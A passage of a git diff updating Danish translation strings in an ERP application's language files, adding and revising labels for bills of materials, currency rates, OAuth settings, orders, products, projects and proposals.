      'filter' er en sql-betingelse, eksempel: 'status=1 OG fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=Dette er typen af feltet/attributten. AsciiToHtmlConverter=Ascii til HTML-konverter AsciiToPdfConverter=Ascii til PDF konverter TableNotEmptyDropCanceled=Tabellen er ikke tom. Drop er annulleret. ModuleBuilderNotAllowed=Modulbyggeren er tilgængelig, men ikke tilladt for din bruger. ImportExportProfiles=Import og eksport af profiler -ValidateModBuilderDesc=Indstil dette til 1, hvis du vil have metoden $this->validateField() for objektet, der kaldes for at validere indholdet af feltet under indsættelse eller opdatering. Indstil 0, hvis der ikke er behov for validering. +ValidateModBuilderDesc=Indstil dette til 1, hvis du vil have metoden $this->validateField() for objekt, der kaldes for at validere indholdet af feltet under indsættelse eller opdatering. Indstil 0, hvis der ikke er behov for validering. WarningDatabaseIsNotUpdated=Advarsel: Databasen opdateres ikke automatisk, du skal ødelægge tabeller og deaktivere-aktivere modulet for at få tabeller genskabt LinkToParentMenu=Forældremenu (fk_xxxxmenu) ListOfTabsEntries=Liste over faneposter TabsDefDesc=Definer her de faner, som dit modul giver TabsDefDescTooltip=Fanerne, der leveres af dit modul/applikation, er defineret i arrayet $this->tabs i modulbeskrivelsesfilen. Du kan redigere denne fil manuelt eller bruge den indlejrede editor. BadValueForType=Forkert værdi for type %s +DefinePropertiesFromExistingTable=Definer egenskaber fra en eksisterende tabel +DefinePropertiesFromExistingTableDesc=Hvis der allerede findes en tabel i databasen (for objektet at oprette), kan du bruge den til at definere objektets egenskaber. +DefinePropertiesFromExistingTableDesc2=Hold tom, hvis tabellen ikke eksisterer endnu. Kodegeneratoren vil bruge forskellige slags felter til at bygge et eksempel på en tabel, som du kan redigere senere. +GeneratePermissions=Jeg vil tilføje rettighederne til dette objekt +GeneratePermissionsHelp=generere standardrettigheder for dette objekt +PermissionDeletedSuccesfuly=Tilladelsen er blevet fjernet +PermissionUpdatedSuccesfuly=Tilladelsen er blevet opdateret +PermissionAddedSuccesfuly=Tilladelsen er blevet tilføjet +MenuDeletedSuccessfuly=Menuen er blevet slettet +MenuAddedSuccessfuly=Menuen er blevet tilføjet +MenuUpdatedSuccessfuly=Menuen er blevet opdateret diff --git a/htdocs/langs/da_DK/mrp.lang b/htdocs/langs/da_DK/mrp.lang index 7c7d056c755..db7573d80a4 100644 --- a/htdocs/langs/da_DK/mrp.lang +++ b/htdocs/langs/da_DK/mrp.lang @@ -11,8 +11,8 @@ Bom=Styklister BillOfMaterials=Styklister BillOfMaterialsLines=Stykliste linjer BOMsSetup=Opsætning af modul Styklister -ListOfBOMs=Liste over styklister -ListOfManufacturingOrders=Liste over produktionsordrer +ListOfBOMs=Styklister - stykliste +ListOfManufacturingOrders=Fremstillingsordrer NewBOM=Ny stykliste ProductBOMHelp=Produkt, der skal oprettes (eller skilles ad) med denne stykliste.
      Bemærk: Produkter med egenskaben 'Produktets art' = 'Råmateriale' er ikke synlige på denne liste. BOMsNumberingModules=BOM-nummereringsskabeloner @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Er du sikker på, at du vil klone styklisten %s? ConfirmCloneMo=Er du sikker på, at du vil klone produktionsordren %s? ManufacturingEfficiency=Fremstillingseffektivitet ConsumptionEfficiency=Forbrugseffektivitet +Consumption=Forbrug ValueOfMeansLoss=Værdi på 0,95 betyder et gennemsnit på 5%% tab under fremstillingen eller demonteringen ValueOfMeansLossForProductProduced=Værdi på 0,95 betyder et gennemsnit på 5%% tab af produceret produkt DeleteBillOfMaterials=Slet regning af materialer @@ -82,6 +83,7 @@ ProductsToProduce=Produkter til at producere UnitCost=Enhedspris TotalCost=Udgifter i alt BOMTotalCost=Omkostningerne til at fremstille denne stykliste baseret på prisen for hver mængde og produkt, der skal forbruges (brug Prisen, hvis defineret, ellers Gennemsnit Vægtet pris, hvis defineret, ellers den bedste købspris) +BOMTotalCostService=Hvis modulet "Workstation" er aktiveret, og en arbejdsstation er defineret som standard på linjen, så er beregningen "mængde (omregnet til timer) x arbejdsstation ahr", ellers "mængde (omregnet til timer) x kostpris for ydelsen" GoOnTabProductionToProduceFirst=Du skal først have startet produktionen for at lukke en produktionsordre (se fanen '%s'). Men du kan annullere det. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Et sæt kan ikke bruges i en stykliste eller en produktionsordre Workstation=Arbejdsstation @@ -100,6 +102,7 @@ NbOperatorsRequired=Antal krævede operatører THMOperatorEstimated=Anslået operatør THM THMMachineEstimated=Anslået maskine THM WorkstationType=Arbejdsstationstype +DefaultWorkstation=Standard arbejdsstation Human=Person Machine=Maskine HumanMachine=Person / maskine @@ -112,3 +115,10 @@ MOAndLines=Fremstilling af ordrer og linjer MoChildGenerate=Generer Child Mo ParentMo=MO Forælder MOChild=MO barn +BomCantAddChildBom=Nomenklaturen %s er allerede til stede i træet, der fører til nomenklaturen %s +BOMNetNeeds = Stykliste nettobehov +BOMProductsList=BOMs produkter +BOMServicesList=BOMs ydelser +Manufacturing=Fremstilling +Disassemble=Skille ad +ProducedBy=Produceret af diff --git a/htdocs/langs/da_DK/multicurrency.lang b/htdocs/langs/da_DK/multicurrency.lang index bfb8a0d8064..062e6c649cf 100644 --- a/htdocs/langs/da_DK/multicurrency.lang +++ b/htdocs/langs/da_DK/multicurrency.lang @@ -20,3 +20,19 @@ MulticurrencyPaymentAmount=Betalingsbeløb, oprindelig valuta AmountToOthercurrency=Beløb til (i valuta for modtagende konto) CurrencyRateSyncSucceed=Valutakurssynkronisering udført med succes MULTICURRENCY_USE_CURRENCY_ON_DOCUMENT=Brug dokumentets valuta til onlinebetalinger +TabTitleMulticurrencyRate=Prisliste +ListCurrencyRate=Liste over valutakurser for valutaen +CreateRate=Opret en sats +FormCreateRate=Bedøm oprettelse +FormUpdateRate=Satsændring +successRateCreate=Kurs for valuta %s er blevet føjet til databasen +ConfirmDeleteLineRate=Er du sikker på, at du vil fjerne kursen %s for valuta %s på %s-datoen? +DeleteLineRate=Clear rate +successRateDelete=Sats slettet +errorRateDelete=Fejl ved sletning af satsen +successUpdateRate=Ændring foretaget +ErrorUpdateRate=Fejl ved ændring af satsen +Codemulticurrency=valutakode +UpdateRate=ændre satsen +CancelUpdate=annuller +NoEmptyRate=Prisfeltet må ikke være tomt diff --git a/htdocs/langs/da_DK/oauth.lang b/htdocs/langs/da_DK/oauth.lang index a0402533e66..cd000256af8 100644 --- a/htdocs/langs/da_DK/oauth.lang +++ b/htdocs/langs/da_DK/oauth.lang @@ -9,8 +9,9 @@ HasAccessToken=Et token blev genereret og gemt i lokal database NewTokenStored=Token modtaget og gemt ToCheckDeleteTokenOnProvider=Klik her for at kontrollere / slette autorisation gemt af %s OAuth udbyder TokenDeleted=Token slettet +GetAccess=Klik her for at få et token RequestAccess=Klik her for at anmode om/forny adgang og modtage et nyt token -DeleteAccess=Click here to delete token +DeleteAccess=Klik her for at slette token UseTheFollowingUrlAsRedirectURI=Brug følgende URL som omdirigerings-URI, når du opretter dine legitimationsoplysninger hos din OAuth-udbyder: ListOfSupportedOauthProviders=Tilføj dine OAuth2-tokenudbydere. Gå derefter ind på din OAuth-udbyders administratorside for at oprette/få et OAuth-id og en hemmelighed og gemme dem her. Når du er færdig, skal du skifte til den anden fane for at generere dit token. OAuthSetupForLogin=Side for at administrere (generere/slette) OAuth-tokens @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=OAuth GitHub Secret OAUTH_URL_FOR_CREDENTIAL=Gå til denne side for at oprette eller få dit OAuth-id og din hemmelighed OAUTH_STRIPE_TEST_NAME=OAuth Stripe Test OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=OAuth-id +OAUTH_ID=OAuth-klient-id OAUTH_SECRET=OAuth-hemmelighed +OAUTH_TENANT=OAuth lejer OAuthProviderAdded=OAuth-udbyder tilføjet AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Der findes allerede en OAuth-post for denne udbyder og etiket +URLOfServiceForAuthorization=URL leveret af OAuth-tjenesten til godkendelse +Scopes=Tilladelser (omfang) +ScopeUndefined=Tilladelser (omfang) udefinerede (se forrige fane) diff --git a/htdocs/langs/da_DK/orders.lang b/htdocs/langs/da_DK/orders.lang index f726c1b6bab..b75a3272702 100644 --- a/htdocs/langs/da_DK/orders.lang +++ b/htdocs/langs/da_DK/orders.lang @@ -96,6 +96,10 @@ OrdersStatisticsSuppliers=Indkøbsordrestatistik NumberOfOrdersByMonth=Antallet af ordrer efter måned AmountOfOrdersByMonthHT=Mængden af ordrer efter måned (ekskl. Moms) ListOfOrders=Liste af ordrer +ListOrderLigne=Ordrerækker +productobuy=Kun produkter til køb +productonly=Kun produkter +disablelinefree=Ingen linjer fri CloseOrder=Luk for ConfirmCloseOrder=Er du sikker på, at du vil indstille denne ordre til levering? Når en ordre er leveret, kan den indstilles til fakturering. ConfirmDeleteOrder=Er du sikker på, at du vil slette denne ordre? @@ -131,6 +135,7 @@ SupplierOrderClassifiedBilled=Indkøbsordre %s er faktureret OtherOrders=Andre ordrer SupplierOrderValidatedAndApproved=Leverandørordre er valideret og godkendt: %s SupplierOrderValidated=Leverandørordre er valideret: %s +OrderShowDetail=Vis ordredetaljer ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Repræsentative opfølgning salgsordre TypeContact_commande_internal_SHIPPING=Repræsentant opfølgning shipping @@ -199,3 +204,5 @@ StatusSupplierOrderApproved=Godkendt StatusSupplierOrderRefused=Afvist StatusSupplierOrderReceivedPartially=Delvist modtaget StatusSupplierOrderReceivedAll=Alle varer modtaget +NeedAtLeastOneInvoice = Der skal være mindst én faktura +LineAlreadyDispatched = Ordrelinjen er allerede modtaget. diff --git a/htdocs/langs/da_DK/other.lang b/htdocs/langs/da_DK/other.lang index b678cda3b54..a272beee309 100644 --- a/htdocs/langs/da_DK/other.lang +++ b/htdocs/langs/da_DK/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Indkøbsordre godkendt Notify_ORDER_SUPPLIER_REFUSE=Indkøbsordre afvist Notify_PROPAL_VALIDATE=Tilbud godkendt Notify_PROPAL_CLOSE_SIGNED=Kundeforslag er lukket underskrevet +Notify_PROPAL_CLOSE_SIGNED_WEB=Kundeforslag lukket underskrevet på portalsiden Notify_PROPAL_CLOSE_REFUSED=Kundeforslag afsluttet afslået +Notify_PROPAL_CLOSE_REFUSED_WEB=Kundeforslag lukket afvist på portalsiden Notify_PROPAL_SENTBYMAIL=Tilbud sendt med posten Notify_WITHDRAW_TRANSMIT=Transmission tilbagetrækning Notify_WITHDRAW_CREDIT=Credit tilbagetrækning @@ -177,10 +179,11 @@ SizeUnitdm=dm SizeUnitcm=cm SizeUnitmm=mm SizeUnitinch=tomme -SizeUnitfoot=mund +SizeUnitfoot=fod SizeUnitpoint=punkt BugTracker=Bug tracker SendNewPasswordDesc=Denne formular giver dig mulighed for at anmode om en ny adgangskode. Det vil blive sendt til din email-adresse.
      Ændring vil træde i kraft, når du klikker på bekræftelseslinket i emailen.
      Kontroller din indbakke. +EnterNewPasswordHere=Indtast din nye adgangskode her BackToLoginPage=Tilbage til login-siden AuthenticationDoesNotAllowSendNewPassword=Authentication mode er %s.
      I denne tilstand, Dolibarr ikke kan vide eller ændre din adgangskode.
      Kontakt din systemadministrator, hvis du ønsker at ændre din adgangskode. EnableGDLibraryDesc=Installer eller aktiver GD bibliotek på din PHP installation for at bruge denne indstilling. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Fakturaen %s er godkendt. EMailTextInvoicePayed=Faktura %s er blevet betalt. EMailTextProposalValidated=Tilbud %s er godkendt. EMailTextProposalClosedSigned=Tilbud %s er afsluttet og underskrevet. +EMailTextProposalClosedSignedWeb=Forslag %s er blevet lukket underskrevet på portalsiden. +EMailTextProposalClosedRefused=Forslag %s er blevet lukket afvist. +EMailTextProposalClosedRefusedWeb=Forslag %s er blevet lukket afvise på portalsiden. EMailTextOrderValidated=Bestillingen %s er godkendt. EMailTextOrderApproved=Ordren %s er godkendt. EMailTextOrderValidatedBy=Orden %s er indskrevet af%s. @@ -257,7 +263,7 @@ Chart=Diagram PassEncoding=Kodeord for kodeord PermissionsAdd=Tilladelser tilføjet PermissionsDelete=Tilladelser fjernet -YourPasswordMustHaveAtLeastXChars=Dit kodeord skal have mindst %s tegn +YourPasswordMustHaveAtLeastXChars=Dit kodeord skal have mindst %s tegn PasswordNeedAtLeastXUpperCaseChars=Adgangskoden skal have mindst %s store bogstaver PasswordNeedAtLeastXDigitChars=Adgangskoden skal have mindst %s numeriske tegn PasswordNeedAtLeastXSpecialChars=Adgangskoden skal mindst have %s specielle tegn @@ -311,10 +317,10 @@ ExternalSiteURL=Ekstern hjemmeside-URL for HTML iframe-indhold ExternalSiteModuleNotComplete=Modul ekstern hjemmeside blev ikke konfigureret korrekt. ExampleMyMenuEntry=Min menuindgang -# FTP +# ftp FTPClientSetup=Opsætning af FTP klientmodul -NewFTPClient=Ny opsætning af FTP forbindelse -FTPArea=FTP område +NewFTPClient=Ny opsætning af FTP/SFTP-forbindelse +FTPArea=FTP/SFTP-område FTPAreaDesc=Denne skærm viser opsætning af en FTP-server. SetupOfFTPClientModuleNotComplete=Opsætningen af FTP-klientmodulet ser ud til at være ufuldstændig FTPFeatureNotSupportedByYourPHP=Din PHP understøtter ikke FTP/FTPS/SFTP-funktioner @@ -325,3 +331,9 @@ FTPFailedToRemoveDir=Det lykkedes ikke at fjerne mappen %s: Kontroller re FTPPassiveMode=Passiv tilstand ChooseAFTPEntryIntoMenu=Vælg en FTP server i menuen... FailedToGetFile=Kunne ikke hente filer %s +ErrorFTPNodisconnect=Fejl ved frakobling af FTP/SFTP-server +FileWasUpload=Filen %s blev uploadet +FTPFailedToUploadFile=Kunne ikke uploade filen %s . +AddFolder=Opret mappe +FileWasCreateFolder=Mappe %s er blevet oprettet +FTPFailedToCreateFolder=Kunne ikke oprette mappen %s . diff --git a/htdocs/langs/da_DK/partnership.lang b/htdocs/langs/da_DK/partnership.lang index fef391aa094..db38e31ed60 100644 --- a/htdocs/langs/da_DK/partnership.lang +++ b/htdocs/langs/da_DK/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Partnerskabsledelse PartnershipDescription=Ledelse af modulpartnerskab PartnershipDescriptionLong= Ledelse af modulpartnerskab Partnership=Partnerskab +Partnerships=Partnerskaber AddPartnership=Tilføj partnerskab CancelPartnershipForExpiredMembers=Partnerskab: Annuller partnerskab med medlemmer med udløbne abonnementer PartnershipCheckBacklink=Partnerskab: Tjek henvisende backlink @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Partnerskab: Tjek henvisende backlink # Menu # NewPartnership=Nyt partnerskab +NewPartnershipbyWeb=Din partnerskabsanmodning er blevet tilføjet. Vi kontakter dig muligvis snart... ListOfPartnerships=Liste over partnerskab # diff --git a/htdocs/langs/da_DK/productbatch.lang b/htdocs/langs/da_DK/productbatch.lang index b896998f58d..abc393a2f20 100644 --- a/htdocs/langs/da_DK/productbatch.lang +++ b/htdocs/langs/da_DK/productbatch.lang @@ -17,6 +17,7 @@ printBatch=Parti serie / Serienr: %s printEatby=Pluk: %s printSellby=Solgt af: %s printQty=Antal: %d +printPlannedWarehouse=Lager: %s AddDispatchBatchLine=Tilføj en linje for lager holdbarhed WhenProductBatchModuleOnOptionAreForced=Når modulet PartiSerie/SerieNr. er aktiveret, tvunget automatisk lagernedgang til at 'Reducere rigtige lagre når forsendelse bekræftelse' og automatisk stigningstilstand er tvunget til at "Øge ægte lagre ved manuel afsendelse til lager" og kan ikke redigeres. Andre muligheder kan defineres som ønsket. ProductDoesNotUseBatchSerial=Dette produkt bruger ikke parti Serie / serienummer @@ -43,3 +44,4 @@ HideLots=Skjul masser OutOfOrder=Virker ikke InWorkingOrder=I funktionsdygtig stand ToReplace=Erstatte +CantMoveNonExistantSerial=Fejl. Du beder om et træk på en plade til en serial, der ikke eksisterer længere. Det kan være, du tager den samme serie på samme lager flere gange i samme forsendelse, eller den blev brugt af en anden forsendelse. Fjern denne forsendelse og klargør en anden. diff --git a/htdocs/langs/da_DK/products.lang b/htdocs/langs/da_DK/products.lang index 1d37e383ac5..3ac0719ffd6 100644 --- a/htdocs/langs/da_DK/products.lang +++ b/htdocs/langs/da_DK/products.lang @@ -151,7 +151,7 @@ PredefinedProductsToPurchase=Predefineret produkt til køb PredefinedServicesToPurchase=Predefinerede tjenester til køb PredefinedProductsAndServicesToPurchase=Predefinerede produkter / tjenester til køb NotPredefinedProducts=Ikke foruddefinerede produkter / tjenester -GenerateThumb=Generer tommelfinger +GenerateThumb=Generer miniature ServiceNb=Service # %s ListProductServiceByPopularity=Liste over varer/ydelser efter popularitet ListProductByPopularity=Liste over varer efter popularitet @@ -202,7 +202,7 @@ liter=liter l=L unitP=Stk. unitSET=Sæt -unitS=Anden +unitS=Sekund unitH=Time unitD=Dag unitG=Gram @@ -345,7 +345,7 @@ PossibleValues=Mulige værdier GoOnMenuToCreateVairants=Gå på menu %s - %s for at forberede attributvarianter (som farver, størrelse, ...) UseProductFournDesc=Tilføj en funktion for at definere produktbeskrivelsen defineret af leverandørerne (for hver leverandørreference) ud over beskrivelsen for kunder ProductSupplierDescription=Leverandørbeskrivelse for produktet -UseProductSupplierPackaging=Brug emballage til leverandørpriser (genberegn mængder i henhold til emballage, der er angivet på leverandørpris, når du tilføjer / opdaterer linje i leverandørdokumenter) +UseProductSupplierPackaging=Brug emballage til priser afrundet til multipla for indkøbspriser (genberegn mængder i henhold til multipla angivet på indkøbspriser, når du tilføjer/opdaterer linje i et leverandørdokument) PackagingForThisProduct=Emballage PackagingForThisProductDesc=Du vil automatisk købe et antal af denne mængde. QtyRecalculatedWithPackaging=Mængden af linjen blev beregnet om efter leverandøremballage @@ -399,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Handling kun tilgængelig på variant af pro ProductsPricePerCustomer=Produktpriser pr. Kunde ProductSupplierExtraFields=Yderligere attributter (leverandørpriser) DeleteLinkedProduct=Slet det underordnede produkt, der er knyttet til kombinationen -AmountUsedToUpdateWAP=Beløb, der skal bruges til at opdatere den vejede gennemsnitlige pris +AmountUsedToUpdateWAP=Enhedsbeløb, der skal bruges til at opdatere den vægtede gennemsnitspris PMPValue=Værdi PMPValueShort=WAP mandatoryperiod=Obligatoriske perioder @@ -416,6 +416,7 @@ ProductsMergeSuccess=Produkter er blevet slået sammen ErrorsProductsMerge=Fejl i produkter flettes sammen SwitchOnSaleStatus=Slå salgsstatus til SwitchOnPurchaseStatus=Slå købsstatus til +UpdatePrice=Forøg/sænk kundeprisen StockMouvementExtraFields= Ekstra felter (aktiebevægelse) InventoryExtraFields= Ekstra felter (beholdning) ScanOrTypeOrCopyPasteYourBarCodes=Scan eller skriv eller kopier/indsæt dine stregkoder @@ -427,3 +428,4 @@ RealValuation=Virkelig værdiansættelse ConfirmEditExtrafield = Vælg det ekstrafelt, du vil ændre ConfirmEditExtrafieldQuestion = Er du sikker på, at du vil ændre dette ekstrafelt? ModifyValueExtrafields = Ændre værdien af et ekstrafelt +OrProductsWithCategories=Eller produkter med tags/kategorier diff --git a/htdocs/langs/da_DK/projects.lang b/htdocs/langs/da_DK/projects.lang index d4e4a57caa3..8fd681ffc10 100644 --- a/htdocs/langs/da_DK/projects.lang +++ b/htdocs/langs/da_DK/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Dette synspunkt præsenterer alle projekter og opgaver, som du f TasksDesc=Dette synspunkt præsenterer alle projekter og opgaver (din brugertilladelser give dig tilladelse til at se alt). AllTaskVisibleButEditIfYouAreAssigned=Alle opgaver for kvalificerede projekter er synlige, men du kan kun indtaste tid til opgave tildelt til den valgte bruger. Tildel opgave, hvis du skal indtaste tid på den. OnlyYourTaskAreVisible=Kun opgaver, der er tildelt dig, er synlige. Hvis du har brug for at indtaste tid på en opgave, og hvis opgaven ikke er synlig her, skal du tildele opgaven til dig selv. +ImportDatasetProjects=Projekter eller muligheder ImportDatasetTasks=Opgaver af projekter ProjectCategories=Projektetiketter / kategorier NewProject=Nyt projekt @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Mængde af muligheder for åbne projekter e OpportunitiesStatusForProjects=Mængde af muligheder for projekter efter status ShowProject=Vis projekt ShowTask=Vis opgave +SetThirdParty=Indstil tredjepart SetProject=Indstil projekt +OutOfProject=Ude af projekt NoProject=Intet projekt defineret NbOfProjects=Antal projekter NbOfTasks=Antal opgaver @@ -122,7 +125,8 @@ ValidateProject=Validér projet ConfirmValidateProject=Er du sikker på, at du vil bekræfte dette projekt? CloseAProject=Luk projekt ConfirmCloseAProject=Er du sikker på at du vil lukke dette projekt? -AlsoCloseAProject=Luk også projektet (hold det åbent, hvis du stadig skal følge produktionsopgaverne på det) +AlsoCloseAProject=Luk også projekt +AlsoCloseAProjectTooltip=Hold den åben, hvis du stadig skal følge produktionsopgaver på den ReOpenAProject=Åbn projekt ConfirmReOpenAProject=Er du sikker på, at du vil genåbne dette projekt? ProjectContact=Kontakter af projektet @@ -165,7 +169,7 @@ OpportunityProbability=Mulighed sandsynlighed OpportunityProbabilityShort=Sandsynlighed OpportunityAmount=Mulighedsbeløb OpportunityAmountShort=Mulighed beløb -OpportunityWeightedAmount=Vægtet mængde af mulighed +OpportunityWeightedAmount=Mængde af mulighed, vægtet efter sandsynlighed OpportunityWeightedAmountShort=Vægtet mængde af mulighed OpportunityAmountAverageShort=Gennemsnitligt muligheds beløb OpportunityAmountWeigthedShort=Beregnet muligheds beløb @@ -238,7 +242,7 @@ OppStatusPENDING=Afventer OppStatusWON=Vundet OppStatusLOST=Tabt Budget=Budget -AllowToLinkFromOtherCompany=Lad det link projekt fra andre firma

      Supported værdier:
      - Hold tom: Kan forbinde ethvert projekt af selskabet (standard)
      - "alle": Kan forbinde projekter, selv projekter af andre virksomheder
      -En liste over tredjeparts-id'er adskilt af kommaer: kan linke alle projekter fra disse tredjeparter (Eksempel: 123.495,53)
        +AllowToLinkFromOtherCompany=Tillad at linke et element til et projekt fra en anden virksomhed

      Understøttede værdier:
      - Hold tom: Kan linke elementer til ethvert project i den samme virksomhed (standard)
      - "alle": Kan linke elementer til alle projekter, selv projekter fra ander virksomheder
      - En liste over tredjeparts-id'er adskilt af kommaer: kan linke elementer til alle projekter fra disse tredjeparter (eksempel: 123,4795,53)
      LatestProjects=Seneste %s projekter LatestModifiedProjects=Seneste %s ændrede projekter OtherFilteredTasks=Andre filtrerede opgaver @@ -255,11 +259,12 @@ RecordsClosed=%s projekt (er) lukket SendProjectRef=Informationsprojekt %s ModuleSalaryToDefineHourlyRateMustBeEnabled=Modul 'lønninger' skal være aktiveret for at definere medarbejderens timepris for at få brugt tid valideret NewTaskRefSuggested=Task ref allerede brugt, en ny task ref kræves +NumberOfTasksCloned=%s opgave(r) klonet TimeSpentInvoiced=Faktureret tid TimeSpentForIntervention=Tid brugt TimeSpentForInvoice=Tid brugt OneLinePerUser=En linje pr. Bruger -ServiceToUseOnLines=Service til brug på linjer +ServiceToUseOnLines=Service til brug på linjer som standard InvoiceGeneratedFromTimeSpent=Faktura %s er genereret fra tidsforbrug til projektet InterventionGeneratedFromTimeSpent=Intervention %s er genereret fra tid brugt på projektet ProjectBillTimeDescription=Tjek om du indtaster timeseddel på opgaver projekt og du planlægger at generere faktura (er) fra timeseddel til regningen kunden af projektet (ikke kontrollere, hvis du planlægger at oprette faktura, der ikke er baseret på indgåede timesedler). Bemærk: For at generere faktura, gå på fanen 'Tidsforbruget' af projektet og vælg linjer til at omfatte. @@ -282,7 +287,7 @@ ProfitIsCalculatedWith=Fortjeneste beregnes ved hjælp af AddPersonToTask=Føj også til opgaver UsageOrganizeEvent=Anvendelse: Begivenhedsorganisation PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Klassificer projektet som lukket, når alle dets opgaver er afsluttet (100%% fremskridt) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Bemærk: eksisterende projekter med alle opgaver ved 100%%-fremskridt påvirkes ikke: du bliver nødt til at lukke dem manuelt. Denne mulighed påvirker kun åbne projekter. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Bemærk: eksisterende projekter med alle opgaver, der allerede er indstillet til en fremdrift på 100%%, vil ikke blive påvirket: du bliver nødt til at lukke dem manuelt. Denne mulighed påvirker kun åbne projekter. SelectLinesOfTimeSpentToInvoice=Vælg tidslinjer, der ikke er faktureret, og masseforanstaltning "Generer faktura" for at fakturere dem ProjectTasksWithoutTimeSpent=Projektopgaver uden brugt tid FormForNewLeadDesc=Tak for at udfylde nedenstående formular for at kontakte os. Du kan også sende os en e -mail direkte til %s . @@ -294,3 +299,4 @@ EnablePublicLeadForm=Aktiver den offentlige kontaktformular NewLeadbyWeb=Din besked eller anmodning er blevet optaget. Vi svarer eller kontakter dig snarest. NewLeadForm=Ny kontaktformular LeadFromPublicForm=Online lead fra offentlig form +ExportAccountingReportButtonLabel=Få rapport diff --git a/htdocs/langs/da_DK/propal.lang b/htdocs/langs/da_DK/propal.lang index a9acc20ba3f..0905858b5d4 100644 --- a/htdocs/langs/da_DK/propal.lang +++ b/htdocs/langs/da_DK/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=Tilgængelighed forsinkelse SetAvailability=Indstil tilgængelighed forsinkelse AfterOrder=efter at OtherProposals=Andre forslag + ##### Availability ##### AvailabilityTypeAV_NOW=Øjeblikkelig AvailabilityTypeAV_1W=En uge AvailabilityTypeAV_2W=2 uger AvailabilityTypeAV_3W=3 uger AvailabilityTypeAV_1M=1 måned -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Repræsentant for opfølgning af tilbud TypeContact_propal_external_BILLING=Kundefaktura kontakt TypeContact_propal_external_CUSTOMER=Kundekontakt for opfølgning af tilbud TypeContact_propal_external_SHIPPING=Kundekontakt for levering + # Document models -DocModelAzurDescription=En komplet forslagsmodel (gammel implementering af Cyan-skabelon) -DocModelCyanDescription=En komplet forslagsmodel -DefaultModelPropalCreate=Oprettelse af skabelon -DefaultModelPropalToBill=Skabelon, der skal benyttes, når et tilbud lukkes (med fakturering) -DefaultModelPropalClosed=Skabelon, der skal benyttes, når et tilbud lukkes (uden fakturering) -ProposalCustomerSignature=Skriftlig accept, firmastempel, dato og underskrift -ProposalsStatisticsSuppliers=Forhandler forslagsstatistik -CaseFollowedBy=Sag efterfulgt af -SignedOnly=Kun underskrevet -NoSign=Sæt ikke underskrevet -NoSigned=sæt ikke underskrevet CantBeNoSign=kan ikke indstilles ikke underskrevet +CaseFollowedBy=Sag efterfulgt af ConfirmMassNoSignature=Bulk Ikke underskrevet bekræftelse ConfirmMassNoSignatureQuestion=Er du sikker på, at du vil indstille ikke-signerede de valgte poster? -IsNotADraft=er ikke et udkast -PassedInOpenStatus=er blevet valideret -Sign=Underskrift -Signed=underskrevet -ConfirmMassValidation=Bulk Valider bekræftelse ConfirmMassSignature=Bulk signatur bekræftelse -ConfirmMassValidationQuestion=Er du sikker på, at du vil validere de valgte poster? ConfirmMassSignatureQuestion=Er du sikker på, at du vil underskrive de valgte poster? -IdProposal=Forslags-id +ConfirmMassValidation=Bulk Valider bekræftelse +ConfirmMassValidationQuestion=Er du sikker på, at du vil validere de valgte poster? +ConfirmRefusePropal=Er du sikker på, at du vil afvise dette kommercielle tilbud? +ContractSigned=Kontrakt underskrevet +DefaultModelPropalClosed=Skabelon, der skal benyttes, når et tilbud lukkes (uden fakturering) +DefaultModelPropalCreate=Oprettelse af skabelon +DefaultModelPropalToBill=Skabelon, der skal benyttes, når et tilbud lukkes (med fakturering) +DocModelAzurDescription=En komplet forslagsmodel (gammel implementering af Cyan-skabelon) +DocModelCyanDescription=En komplet forslagsmodel +FichinterSigned=Intervention underskrevet IdProduct=Produkt-id +IdProposal=Forslags-id +IsNotADraft=er ikke et udkast LineBuyPriceHT=Købspris Beløb fratrukket skat for linje -SignPropal=Accepter forslaget +NoSign=Afvis +NoSigned=sæt ikke underskrevet +PassedInOpenStatus=er blevet valideret +PropalAlreadyRefused=Tilbud blev allerede afvist +PropalAlreadySigned=Forslaget er allerede godkendt +PropalRefused=Tilbud blev afvist +PropalSigned=Forslaget accepteret +ProposalCustomerSignature=Skriftlig accept, firmastempel, dato og underskrift +ProposalsStatisticsSuppliers=Forhandler forslagsstatistik RefusePropal=Afvis tilbud Sign=Underskrift -NoSign=Sæt ikke underskrevet -PropalAlreadySigned=Forslaget er allerede godkendt -PropalAlreadyRefused=Tilbud blev allerede afvist -PropalSigned=Forslaget accepteret -PropalRefused=Tilbud blev afvist -ConfirmRefusePropal=Er du sikker på, at du vil afvise dette kommercielle tilbud? +SignContract=Underskriv kontrakt +SignFichinter=Skilteintervention +SignPropal=Accepter forslaget +Signed=underskrevet +SignedOnly=Kun underskrevet diff --git a/htdocs/langs/da_DK/receptions.lang b/htdocs/langs/da_DK/receptions.lang index 75494647560..7890fcdf8de 100644 --- a/htdocs/langs/da_DK/receptions.lang +++ b/htdocs/langs/da_DK/receptions.lang @@ -32,6 +32,7 @@ StatusReceptionDraftShort=Udkast til StatusReceptionValidatedShort=bekræftet StatusReceptionProcessedShort=Behandlet ReceptionSheet=Modtagelse ark +ValidateReception=Bekræft modtagelse ConfirmDeleteReception=Er du sikker på, at du vil slette denne modtagelse? ConfirmValidateReception=Er du sikker på, at du vil validere denne modtagelse med reference %s ? ConfirmCancelReception=Er du sikker på, at du vil annullere denne modtagelse? @@ -48,7 +49,6 @@ ReceptionsNumberingModules=Nummerering modul til receptioner ReceptionsReceiptModel=Dokumentskabeloner til modtagelser 